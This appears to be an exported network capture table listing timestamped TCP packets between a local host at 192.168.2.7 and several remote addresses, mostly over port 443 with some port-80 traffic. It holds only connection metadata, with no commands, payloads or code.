Nov 26, 2024 22:52:40.525445938 CET	49794	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:40.525464058 CET	443	49794	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:40.633734941 CET	443	49795	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.634480000 CET	49795	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.634515047 CET	443	49795	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:40.635107040 CET	49795	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:40.635113001 CET	443	49795	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:41.070853949 CET	443	49795	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:41.071166039 CET	443	49795	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:41.072382927 CET	49795	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:41.073499918 CET	49795	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:41.073518038 CET	443	49795	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:41.073559999 CET	49795	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:41.073565006 CET	443	49795	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:41.076791048 CET	49812	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:41.076829910 CET	443	49812	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:41.076889038 CET	49812	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:41.077158928 CET	49812	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:41.077168941 CET	443	49812	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:41.187701941 CET	443	49794	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:41.190855026 CET	443	49794	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:41.190911055 CET	49794	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:41.200731039 CET	49794	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:41.200742006 CET	443	49794	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:41.200757027 CET	49794	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:41.200761080 CET	443	49794	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:41.243412971 CET	49813	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:41.243451118 CET	443	49813	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:41.243688107 CET	49813	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:41.243957043 CET	49813	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:41.243966103 CET	443	49813	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:41.305036068 CET	49814	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:41.305083036 CET	443	49814	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:41.305191994 CET	49814	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:41.305630922 CET	49814	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:41.305650949 CET	443	49814	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:41.389997005 CET	49803	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:41.391104937 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:41.391134977 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:41.391196012 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:41.393873930 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:41.393886089 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:41.435328960 CET	443	49803	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:41.615958929 CET	49824	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:41.615999937 CET	443	49824	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:41.616143942 CET	49824	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:41.616508007 CET	49824	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:41.616525888 CET	443	49824	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:41.617302895 CET	49825	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:41.617328882 CET	443	49825	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:41.617402077 CET	49825	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:41.617679119 CET	49825	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:41.617690086 CET	443	49825	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:41.620579004 CET	49826	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:41.620603085 CET	443	49826	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:41.620699883 CET	49826	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:41.621252060 CET	49826	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:41.621269941 CET	443	49826	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:41.901472092 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:41.901531935 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:41.957942009 CET	443	49804	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:41.967050076 CET	49804	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:41.967083931 CET	443	49804	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:41.967503071 CET	49804	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:41.967513084 CET	443	49804	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.038645029 CET	443	49805	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.061419010 CET	49805	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.061460972 CET	443	49805	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.062453985 CET	49805	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.062472105 CET	443	49805	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.063970089 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:42.090004921 CET	443	49803	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:42.090081930 CET	49803	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:42.100733042 CET	443	49806	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.103622913 CET	49806	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.103656054 CET	443	49806	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.104131937 CET	49806	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.104136944 CET	443	49806	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.184407949 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:42.289958000 CET	49827	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.290016890 CET	443	49827	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.290525913 CET	49827	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.290719986 CET	49827	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.290735960 CET	443	49827	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.395268917 CET	443	49804	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.395349979 CET	443	49804	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.395495892 CET	49804	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.396054029 CET	49804	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.396080017 CET	443	49804	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.396095037 CET	49804	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.396100998 CET	443	49804	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.400002003 CET	49828	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.400051117 CET	443	49828	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.400212049 CET	49828	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.400399923 CET	49828	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.400413036 CET	443	49828	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.426852942 CET	49829	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:42.426903009 CET	443	49829	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:42.427011967 CET	49829	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:42.427335024 CET	49829	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:42.427346945 CET	443	49829	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:42.458344936 CET	49830	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.458405018 CET	443	49830	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.458471060 CET	49830	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.458713055 CET	49830	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.458725929 CET	443	49830	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.483167887 CET	443	49805	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.483264923 CET	443	49805	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.483331919 CET	49805	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.483599901 CET	49805	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.483624935 CET	443	49805	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.483640909 CET	49805	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.483654022 CET	443	49805	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.486529112 CET	49831	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.486579895 CET	443	49831	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.486643076 CET	49831	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.486803055 CET	49831	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.486815929 CET	443	49831	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.555634022 CET	443	49806	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.555711031 CET	443	49806	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.555896044 CET	49806	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.556374073 CET	49806	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.556394100 CET	443	49806	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.556406021 CET	49806	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.556411982 CET	443	49806	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.560590982 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.560637951 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.560731888 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.560897112 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.560911894 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.884011984 CET	443	49824	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.886213064 CET	443	49826	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.886651039 CET	49826	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.886694908 CET	443	49826	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.886893988 CET	49824	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.886908054 CET	443	49824	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.887969971 CET	443	49824	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.887979984 CET	443	49826	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.888050079 CET	49826	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.888050079 CET	49824	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.889580965 CET	49826	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.889657974 CET	443	49826	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.890986919 CET	49824	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.891068935 CET	443	49824	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.891180038 CET	49826	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.891187906 CET	443	49826	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.891621113 CET	49824	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.891627073 CET	443	49824	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:42.926528931 CET	443	49825	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:42.927504063 CET	49825	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:42.927530050 CET	443	49825	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:42.928524017 CET	443	49825	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:42.928606987 CET	49825	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:42.929564953 CET	49825	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:42.929631948 CET	443	49825	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:42.929883003 CET	49825	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:42.929889917 CET	443	49825	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:42.937954903 CET	443	49812	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.938491106 CET	49812	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.938513994 CET	443	49812	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.938986063 CET	49812	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:42.938992023 CET	443	49812	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:42.946213961 CET	49824	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.971518993 CET	49826	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:42.971606016 CET	49825	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.000102043 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:43.000159979 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:43.097918034 CET	443	49782	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:43.098015070 CET	443	49782	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:43.098086119 CET	49782	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:43.098531008 CET	443	49813	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:43.098606110 CET	49813	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:43.101028919 CET	49782	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:43.101054907 CET	443	49782	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:43.101064920 CET	49782	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:43.101072073 CET	443	49782	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:43.107328892 CET	49834	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:43.107361078 CET	443	49834	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:43.107465982 CET	49834	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:43.107907057 CET	49834	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:43.107916117 CET	443	49834	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:43.113122940 CET	49813	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:43.113132954 CET	443	49813	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:43.113447905 CET	443	49813	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:43.114614010 CET	49813	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:43.114664078 CET	49813	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:43.114694118 CET	443	49813	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:43.141932964 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.142343998 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.142374039 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.143897057 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.144007921 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.144032001 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.144040108 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.144085884 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.144085884 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.147007942 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.152724028 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.152859926 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.154066086 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.154071093 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.182456017 CET	443	49814	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:43.184767962 CET	49814	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:43.184787035 CET	443	49814	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:43.186702013 CET	49814	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:43.186712980 CET	443	49814	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:43.186731100 CET	49814	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:43.186739922 CET	443	49814	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:43.196336985 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.325239897 CET	443	49824	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.325377941 CET	443	49824	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.325391054 CET	443	49826	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.325424910 CET	49824	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.325489044 CET	443	49826	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.325577974 CET	49826	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.325803995 CET	49824	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.325824022 CET	443	49824	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.326380968 CET	49826	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.326386929 CET	443	49826	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.381700039 CET	443	49825	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.381786108 CET	443	49825	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.381850958 CET	49825	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.382024050 CET	49825	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.382044077 CET	443	49825	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.393347025 CET	443	49812	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:43.393408060 CET	443	49812	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:43.394088984 CET	49812	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:43.397212029 CET	49812	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:43.397234917 CET	443	49812	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:43.397248030 CET	49812	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:43.397253990 CET	443	49812	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:43.402967930 CET	49835	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:43.403011084 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:43.403306007 CET	49835	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:43.404227018 CET	49835	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:43.404238939 CET	443	49835	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:43.592147112 CET	443	49827	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.593283892 CET	49827	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.593300104 CET	443	49827	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.594436884 CET	443	49827	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.594532967 CET	49827	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.594945908 CET	49827	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.595036983 CET	443	49827	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.600147009 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:43.716248989 CET	49836	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.716284990 CET	443	49836	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.716439962 CET	49836	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.716751099 CET	49837	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.716792107 CET	443	49837	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.716854095 CET	49837	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.717139959 CET	49837	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.717152119 CET	443	49837	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.717361927 CET	49836	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.717391968 CET	443	49836	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.720299006 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:43.735718966 CET	443	49829	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.744586945 CET	49829	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.744622946 CET	443	49829	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.745820999 CET	443	49829	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.745879889 CET	49829	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.750484943 CET	49829	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.750627041 CET	443	49829	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.751580000 CET	49829	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.751597881 CET	443	49829	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.755044937 CET	49827	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.755073071 CET	443	49827	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.761812925 CET	443	49830	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.762042046 CET	49830	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.762069941 CET	443	49830	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.763065100 CET	443	49830	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.763119936 CET	49830	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.764364004 CET	49830	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.764441013 CET	443	49830	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.803915977 CET	49829	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.807764053 CET	49829	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.807857990 CET	443	49829	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.808068037 CET	443	49829	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:43.808132887 CET	49829	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.808132887 CET	49829	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:43.819299936 CET	49830	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.819341898 CET	443	49830	172.64.41.3	192.168.2.7
Nov 26, 2024 22:52:43.836770058 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.840730906 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.840787888 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.840806961 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.852518082 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.852848053 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.852864981 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.862057924 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.862129927 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.862142086 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.864788055 CET	49830	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.875159979 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.875228882 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.875240088 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.887182951 CET	443	49813	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:43.887373924 CET	443	49813	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:43.887550116 CET	49813	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:43.888495922 CET	49813	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:43.888509989 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.888524055 CET	443	49813	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:43.888541937 CET	49813	443	192.168.2.7	20.190.177.146
Nov 26, 2024 22:52:43.888547897 CET	443	49813	20.190.177.146	192.168.2.7
Nov 26, 2024 22:52:43.888562918 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.888580084 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.905745983 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.905878067 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.905891895 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.929478884 CET	49827	443	192.168.2.7	172.64.41.3
Nov 26, 2024 22:52:43.945455074 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.956887007 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.961049080 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.961103916 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.961124897 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:43.961148024 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:43.961191893 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.037929058 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.041657925 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.041766882 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.041784048 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.042440891 CET	49838	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.042488098 CET	443	49838	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.042566061 CET	49838	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.042774916 CET	49839	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.042819977 CET	443	49839	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.042951107 CET	49839	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.043138027 CET	49840	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.043174028 CET	443	49840	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.043227911 CET	49840	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.043364048 CET	49841	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.043395996 CET	443	49841	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.043540001 CET	49838	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.043549061 CET	49841	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.043566942 CET	443	49838	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.043984890 CET	49839	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.043998003 CET	443	49839	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.044713020 CET	49840	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.044734001 CET	443	49840	162.159.61.3	192.168.2.7
Nov 26, 2024 22:52:44.044882059 CET	49841	443	192.168.2.7	162.159.61.3
Nov 26, 2024 22:52:44.044902086 CET	443	49841	162.159.61.3	192.168.2.7
